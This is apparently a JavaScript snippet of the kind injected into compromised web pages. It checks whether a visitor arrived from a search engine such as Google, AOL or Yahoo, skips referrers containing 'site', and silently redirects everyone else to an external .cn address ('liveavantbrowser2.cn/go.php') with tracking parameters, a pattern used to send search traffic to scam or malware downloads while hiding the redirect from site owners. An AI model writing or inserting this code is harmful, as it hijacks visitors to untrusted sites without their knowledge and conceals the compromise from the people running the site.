var ref,i,is_se=0;
var se = new Array("google","aol.com","yahoo"," comcast");

if(document.referrer)ref=document.referrer;
else ref="";
for(i=0;i<4;i++)
{
if(ref.indexOf("site")!=-1) {}
else {if(ref.indexOf(se[i])>=0)
{is_se=1; 
document.location="http://liveavantbrowser2.cn/go.php?id=2010&key=b8c7c33ca&p=1";}}
}